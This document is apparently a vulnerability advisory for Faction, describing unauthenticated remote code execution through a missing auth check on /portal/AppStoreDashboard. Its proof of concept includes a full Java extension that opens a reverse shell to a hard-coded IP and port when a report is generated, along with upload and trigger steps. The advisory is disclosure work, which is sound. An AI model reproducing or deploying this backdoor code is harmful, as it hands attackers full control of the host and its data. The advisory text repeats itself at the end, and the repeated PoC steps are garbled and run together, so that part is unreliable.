Summary
An extension execution path in Faction’s extension framework permits untrusted extension code to execute arbitrary system commands on the server when a lifecycle hook is invoked, resulting in remote code execution (RCE) on the host running Faction. Due to a missing authentication check on the /portal/AppStoreDashboard endpoint, an attacker can access the extension management UI and upload a malicious extension without any authentication, making this vulnerability exploitable by unauthenticated users.
Details
A critical security vulnerability exists in Faction’s extension handling mechanism. The endpoint responsible for managing and uploading extensions (/portal/AppStoreDashboard) is exposed without authentication or authorization controls. As a result, any unauthenticated user can access the extension dashboard and upload custom JAR extensions.
Once uploaded, Faction automatically loads and executes these extension JARs without code signing, validation, sandboxing, or isolation. When the application triggers extension lifecycle hooks (e.g., during report generation or other workflows), the malicious extension’s code is executed inside the application’s JVM with the same OS-level privileges as the Faction server process.
This allows an attacker to run arbitrary operating system commands, spawn shells, or fully compromise the underlying host without requiring admin privileges or any form of authentication. The vulnerability is triggered as soon as any normal workflow invokes the extension hook.
PoC
- Clone Faction from the official repository.
- Build the application and Docker image from
docker-compose-dev.yml
mvn clean package -DskipTests && docker compose -f docker-compose-dev.yml build
- Run the development container
docker compose -f docker-compose-dev.yml up
- Navigate to
/portal/AppStoreDashboard, observe that the full extension management UI is accessible without authentication.
- Create the malicious extension, by modifing the IP address and the Port in the below PoC extension and build the extension jar implementing the extension interface used by Faction for report lifecycle hooks (in this case the
ReportManager interface / reportCreate method). In the PoC I developed, reportCreate(...) executes code that spawns an OS shell and connects to a remote host.
package com.faction.rce;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import com.faction.elements.Assessment;
import com.faction.elements.BaseExtension;
import com.faction.elements.Vulnerability;
import com.faction.extender.ReportManager;
public class RCEExtension extends BaseExtension implements ReportManager {
private String seed = "elitebaz";
private String ip_addr= "172.29.32.1";
private int port = 4444;
private InetSocketAddress addr = new InetSocketAddress(this.ip_addr, this.port);;
private String os = null;
private String shell = null;
private byte[] buffer = null;
private int clen = 0;
private boolean error = false;
private boolean detect() {
boolean detected = true;
this.os = System.getProperty("os.name").toUpperCase();
if (this.os.contains("LINUX") || this.os.contains("MAC")) {
this.os = "LINUX";
this.shell = "/bin/sh";
} else if (this.os.contains("WIN")) {
this.os = "WINDOWS";
this.shell = "cmd.exe";
} else {
detected = false;
System.out.print("SYS_ERROR: Underlying operating system is not supported, program will now exit...\n");
}
return detected;
}
private void brw(InputStream input, OutputStream output, String iname, String oname) {
int bytes = 0;
try {
do {
if (this.os.equals("WINDOWS") && iname.equals("STDOUT") && this.clen > 0) {
do {
bytes = input.read(this.buffer, 0, this.clen >= this.buffer.length ? this.buffer.length : this.clen);
this.clen -= this.clen >= this.buffer.length ? this.buffer.length : this.clen;
} while (bytes > 0 && this.clen > 0);
} else {
bytes = input.read(this.buffer, 0, this.buffer.length);
if (bytes > 0) {
output.write(this.buffer, 0, bytes);
output.flush();
if (this.os.equals("WINDOWS") && oname.equals("STDIN")) {
this.clen += bytes;
}
} else if (iname.equals("SOCKET")) {
this.error = true;
System.out.print("SOC_ERROR: Shell connection has been terminated\n\n");
}
}
} while (input.available() > 0);
} catch (SocketTimeoutException ex) {} catch (IOException ex) {
this.error = true;
System.out.print(String.format("STRM_ERROR: Cannot read from %s or write to %s, program will now exit...\n\n", iname, oname));
}
}
public void run() {
if (this.detect()) {
Socket client = null;
OutputStream socin = null;
InputStream socout = null;
Process process = null;
OutputStream stdin = null;
InputStream stdout = null;
InputStream stderr = null;
try {
client = new Socket();
client.setSoTimeout(100);
client.connect(this.addr);
socin = client.getOutputStream();
socout = client.getInputStream();
this.buffer = new byte[1024];
process = new ProcessBuilder(this.shell).redirectInput(ProcessBuilder.Redirect.PIPE).redirectOutput(ProcessBuilder.Redirect.PIPE).redirectError(ProcessBuilder.Redirect.PIPE).start();
stdin = process.getOutputStream();
stdout = process.getInputStream();
stderr = process.getErrorStream();
System.out.print("Backdoor is up and running...\n\n");
do {
if (!process.isAlive()) {
System.out.print("PROC_ERROR: Shell process has been terminated\n\n"); break;
}
this.brw(socout, stdin, "SOCKET", "STDIN");
if (stderr.available() > 0) { this.brw(stderr, socin, "STDERR", "SOCKET"); }
if (stdout.available() > 0) { this.brw(stdout, socin, "STDOUT", "SOCKET"); }
} while (!this.error);
System.out.print("Backdoor will now exit...\n");
} catch (IOException ex) {
System.out.print(String.format("ERROR: %s\n", ex.getMessage()));
} finally {
if (stdin != null) { try { stdin.close() ; } catch (IOException ex) {} }
if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} }
if (stderr != null) { try { stderr.close(); } catch (IOException ex) {} }
if (process != null) { process.destroy(); }
if (socin != null) { try { socin.close() ; } catch (IOException ex) {} }
if (socout != null) { try { socout.close(); } catch (IOException ex) {} }
if (client != null) { try { client.close(); } catch (IOException ex) {} }
if (this.buffer != null) { Arrays.fill(this.buffer, (byte)0); }
}
}
}
@Override
public String reportCreate(Assessment assessment, List<Vulnerability> vulns, String reportText) {
this.run();
System.gc();
return reportText;
}
}
- Upload and install the extension via the unauthenticated access to the path
/portal/AppStoreDashboard.
- Open a netcat listener on the port added in the extension code.
- Create or open an assessment and trigger the workflow that calls the extension hook from an existing user on the system (e.g., generate a report that invokes
reportCreate or perform the operation that the extension subscribes to).
- Observe that the extension code runs under the server process, the PoC opens a reverse shell, demonstrating RCE.
Impact
- All assessment data, templates, credentials, and database contents may be exfiltrated.
- Attackers can modify reports, templates, or code and insert or remove findings.
- Server can be stopped, processes killed, or storage encrypted.
- Attackers can have full control of the server if the application ran as root.
Summary
An extension execution path in Faction’s extension framework permits untrusted extension code to execute arbitrary system commands on the server when a lifecycle hook is invoked, resulting in remote code execution (RCE) on the host running Faction. Due to a missing authentication check on the /portal/AppStoreDashboard endpoint, an attacker can access the extension management UI and upload a malicious extension without any authentication, making this vulnerability exploitable by unauthenticated users.
Details
A critical security vulnerability exists in Faction’s extension handling mechanism. The endpoint responsible for managing and uploading extensions (/portal/AppStoreDashboard) is exposed without authentication or authorization controls. As a result, any unauthenticated user can access the extension dashboard and upload custom JAR extensions.
Once uploaded, Faction automatically loads and executes these extension JARs without code signing, validation, sandboxing, or isolation. When the application triggers extension lifecycle hooks (e.g., during report generation or other workflows), the malicious extension’s code is executed inside the application’s JVM with the same OS-level privileges as the Faction server process.
This allows an attacker to run arbitrary operating system commands, spawn shells, or fully compromise the underlying host without requiring admin privileges or any form of authentication. The vulnerability is triggered as soon as any normal workflow invokes the extension hook.
PoC
docker-compose-dev.yml/portal/AppStoreDashboard, observe that the full extension management UI is accessible without authentication.ReportManagerinterface /reportCreatemethod). In the PoC I developed,reportCreate(...)executes code that spawns an OS shell and connects to a remote host./portal/AppStoreDashboard.reportCreateor perform the operation that the extension subscribes to).Impact